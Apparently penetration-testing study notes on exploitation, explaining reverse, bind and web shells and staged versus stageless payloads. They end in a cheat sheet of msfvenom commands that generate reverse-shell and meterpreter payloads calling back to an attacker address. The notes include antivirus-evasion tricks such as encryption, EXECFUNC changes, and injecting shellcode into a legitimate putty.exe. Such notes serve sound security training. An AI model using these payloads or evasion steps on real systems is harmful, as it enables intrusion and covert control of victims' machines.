Overview

  • One fork after the assessment stage, requires utilizing the information from the two prior steps to prepare targeted attacks against the found endpoint.
  • Attacks can be prioritized with the probability of success, complexity and probability of damage. CVSS scoring and NVD calculator can aid in determining the success rate.
  • Also broken into two main areas: actual exploitation of potential vulnerabilities, and remotely exposed services that could be misconfigured or vulnerable for access
  • Web exploitation tends to be its own special focus due to the diversity of web frameworks, hosting options, dependencies
  • There may not be a readily available PoC for a specific vulnerability. This requires setting up a local test VM as close as possible to the target environment. Then, we can attempt to reconstruct the exploit for use in the live test against our target, taking into consideration the easiness and destructiveness of the exploit.

Shells

  • Reverse Shell - victim machine connects back to listener on attacker machine. Unstable; if the shell drops, exploit has to be executed again to gain shell
    • the attacker machine should have a listener ready to catch the reverse shell, such as netcat nc -lvnp 4444
  • Bind Shell - listener bound to port on victim machine, attacker connects to victim. More stable; as long as port stays bound, attacker can reconnect if shell drops
  • Web Shell - compromised web server that accepted a payload via file upload. Can be more stealthy to evade firewall detection

Bind / reverse shells are 'dumb' shells and should be upgraded to interactive to increase stability.

Revshells is a great resource for generating a plethora of different shells on one simple site.

Payloads

Payloads are the bundled exploit code that is sent to exploit machine. Sometimes payloads can be completely custom, specific to the vulnerability or environment being targeted. Othertimes, we might have the chance to create an opening to send in a quick and easy payload, like those provided by msfvenom.

Payloads typically come in two formats. staged and stageless.

  • staged payloads start with a tiny payload that is sent to the victim for establishing the connection. Once ran, it connects back to the attacker to download the next stage (which could be a special script or spawning a shell)
    • these are much lighter up front, but could fail to retrieve the rest of the code, making them useless
    • in msfvenom, staged payloads use slashes in the format of /objective/method i.e. /shell/reverse_tcp which means it uses reverse_tcp to for stage 0 to establish the connection, and call back to get the shell for stage 1.
  • stageless payloads are all-in-one. The exploit has everything it needs to reach your objective without needing to connect back and download additional files.
    • in msfvenom, stageless payloads use underscores instead of slashes like windows/shell_reverse_tcp
  • meterpreter is a payload meant for use in metasploit. It utilizes dll injection to execute fully in memory. Additional scripts and plugins can be loaded/unloaded dynamically as they are needed.
    • the reverse shell listener should be setup via metasploit instead of a simple nc listener

Other notable msfvenom args

  • -e - encoding (obfuscation) - a simple method to try and bypass signature detection using XOR
    • most modern day AV can still detect this
  • --encrypt <type> --encrypt-key <key> - more advanced form of bypass using encryption instead of encoding. Works better with stageless
    • find types with msfvenom --list encrypt, commonly supported are aes256, rc4 and xor
  • EXECFUNC=<name> - another evasion technique, change the function used to spawn the payload in memory. primarily used in windows
    • CreateThread is default, but is usually monitored by AV. Other options like ExecuteInProcess could potentially bypass detection
  • -b - specify bad bytes that could cause the payload to fail
    • \x0d or \x0a could fail in HTTP exploits -\x00 could fail in C exploits
  • -x <template_exe> -k - uses a legitimate windows exe as the base and injects shell code into it. -k spawns the shellcode on a different thread, allowing the main thread to still function as normal

These are just some of the near endless examples that can be generated. You can also use some of the above arguments for better evasion.

# list available payloads
msfvenom -l payloads

# linux stageless reverse shell x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f elf > shell.elf

# linux staged reverse shell x64
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f elf > shell.elf

# linux stageless bash shell x64
msfvenom -p linux/x64/shell_bind_tcp RHOST=10.1.1.1 LPORT=4444 -f elf > shell.elf

# windows stageless reverse shell x64
msfvenom -p windows/shell_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > shell.exe

# windows stageless reverse shell x64 - sideloaded in legit binary 
msfvenom -p windows/shell_reverse_tcp -x putty.exe -k LHOST=10.1.1.1 LPORT=4444 -f exe > evil_putty.exe

# windows stageless reverse shell x64 - encrypted, and sideloaded in legit binary 
msfvenom -p windows/shell_reverse_tcp --encrypt aes256 --encrypt-key S00perSecr3t! -x putty.exe -k LHOST=10.1.1.1 LPORT=4444 -f exe > evil_putty.exe

# windows staged reverse shell x64
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > shell.exe

# windows stageless bash shell x64
msfvenom -p windows/x64/shell_bind_tcp RHOST=10.1.1.1 LPORT=4444 -f exe > shell.exe

# windows staged reverse meterpreter x64 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > shell.exe

# php stageless reverse meterpreter
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f raw > shell.php

# java war stageless reverse meterpreter
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f war > shell.war